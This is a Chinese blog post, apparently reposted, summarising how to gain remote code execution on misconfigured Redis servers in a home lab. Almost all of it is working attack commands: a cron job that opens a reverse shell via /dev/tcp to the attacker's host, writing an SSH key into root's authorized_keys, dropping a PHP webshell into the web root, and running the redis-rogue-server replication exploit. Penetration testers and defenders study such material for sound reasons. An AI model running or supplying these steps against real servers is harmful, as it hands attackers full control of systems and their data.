• Redis进行RCE利用总结


    https://www.cnblogs.com/loongten/p/15838580.html

    0x00 简要说明

    百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    Redis因配置不当可导致攻击者直接获取到服务器的权限。

    • 利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等

    环境准备:

    测试环境IP
    Kali192.168.100.99
    靶机(CentOS 7)192.168.100.101

    0x01 CentOS 7安装Redis

    # 安装gcc
    [root@localhost ~]# yum install -y gcc
    
    # 下载解压redis安装包
    [root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
    [root@localhost ~]# tar xvf redis-5.0.0.tar.gz
    
    # 编译并执行安装,指定安装目录为/usr/local/redis
    [root@localhost ~]# cd redis-5.0.0/
    [root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis
    
    # 启动redis服务并保持后台运行
    [root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
    [root@localhost bin]# ./redis-server &
    
    # 关闭保护模式
    [root@localhost bin]# ./redis-cli 
    127.0.0.1:6379> config set protected-mode no
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    0x02 通过计划任务反弹shell

    利用条件:

    • redis以root身份运行
    • 未授权访问或授权口令已知

    在kali中通过redis-cli -h 192.168.100.101 -p 6379连接到redis,输入以下指令利用crontab反弹shell

    # cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
    # 每分钟执行一次echo "haha":* * * * * echo "haha"
    192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"
    
    # 设置目录为/var/spool/cron/
    192.168.100.101:6379> config set dir /var/spool/cron/
    
    # 设置文件名为root
    192.168.100.101:6379> config set dbfilename root
    
    # 保存快照到本地
    192.168.100.101:6379> save
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听,过一会儿就能接收到反弹回来的shell:

    由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:

    192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1\n"
    192.168.100.101:6379> save
    
    • 1
    • 2
    • 3

    [root@localhost ~]# cat /var/spool/cron/root

    • �bash -i &> /dev/tcp/192.168.100@/4 0>&1

    192.168.100.101:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n”
    192.168.100.101:6379> save

    [root@localhost ~]# cat /var/spool/cron/root

            • bash -i &> /dev/tcp/192.168.100.99/4444 0>&1

    当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:

    config set dir /var/spool/cron
    (error) ERR Changing directory: Permission denied
    
    • 1
    • 2
    • 3

    0x03 通过SSH公钥远程连接

    利用条件:

    • redis以root身份运行
    • 未授权访问或授权口令已知
    • 服务器开放SSH服务且允许密钥登录

    在kali中使用ssh-keygen -t rsa生成密钥:

    将生成的公钥文件保存到本地:

    ┌──(root💀kali)-[/home/kali]
    └─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali
    
    • 1
    • 2
    • 3

    将文件写入redis进行利用:

    # 将上一步生成的kali文件写入redis并设置键的值为kali
    ┌──(root💀kali)-[/home/kali]
    └─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali
    
    # 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中
    ┌──(root💀kali)-[/home/kali]
    └─# redis-cli -h 192.168.100.101 -p 6379
    192.168.100.101:6379> config set dir /root/.ssh/
    192.168.100.101:6379> config set dbfilename authorized_keys
    192.168.100.101:6379> save
    
    # 使用密钥进行登录
    ┌──(root💀kali)-[/home/kali]
    └─# ssh -i /root/.ssh/id_rsa root@192.168.100.101
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    0x04 通过文件写入获取webshell

    利用条件:

    • 未授权访问或授权口令已知
    • 服务器开着WEB服务且WEB目录路径已知

    倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:

    config set dir /var/www/html/
    config set dbfilename shell.php
    set x ""
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    0x05 通过主从复制获取shell

    利用条件:

    • 未授权访问或授权口令已知
    • Redis <=5.0.5

    参考地址:https://github.com/n0b0dyCN/redis-rogue-server

    使用方法:

    python3 redis-rogue-server.py --rhost  --rport  --lhost  --lport 
    
    • 1
    • 2

    参数说明:

    • --rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
    • --rhost 目标redis服务IP
    • --rport 目标redis服务端口,默认为6379
    • --lhost vps的IP地址
    • --lport vps的端口,默认为21000
    ┌──(root💀kali)-[/home/kali]
    └─# git clone https://github.com/n0b0dyCN/redis-rogue-server.git
    
    • 1
    • 2
    • 3

    ┌──(root💀kali)-[/home/kali]
    └─# cd redis-rogue-server

    ┌──(root💀kali)-[/home/kali]
    └─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99


    __EOF__

    标签: 渗透测试
    • 1
    好文要顶推荐该文
    关注我 关注博主 关注博主 收藏该文 收藏本文 分享微博 分享微信
    0
    0
    « 上一篇: CVE-2021-44228——Log4j2-RCE漏洞复现
    » 下一篇: Vulnhub DC-1靶场学习笔记
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    posted @ 2022-01-24 10:55  Loongten  阅读( 567)  评论( 0编辑  收藏  举报
  • 相关阅读:
    Linux socket 字节序
    AutoTransition(基于深度学习的视频过渡特效推荐) 复现
    使用rust调用c++静态库并编译nodejs包
    【校招VIP】前端JS语言考点之选择器和优先级
    【k8s】K8S中的cordon、uncordon和drain 冻结节点、驱离pod
    《QT从基础到进阶·十七》QCursor鼠标的不同位置坐标获取
    2020中青杯A题集成电路通道布线数学建模全过程论文及程序
    智能投影:坚果、当贝前攻后防
    mongodb简介、安装、搭建复制集以及切片
    祝贺!Databend Cloud 入驻 AWS 云市场
  • 原文地址:https://blog.csdn.net/weixin_50464560/article/details/127733490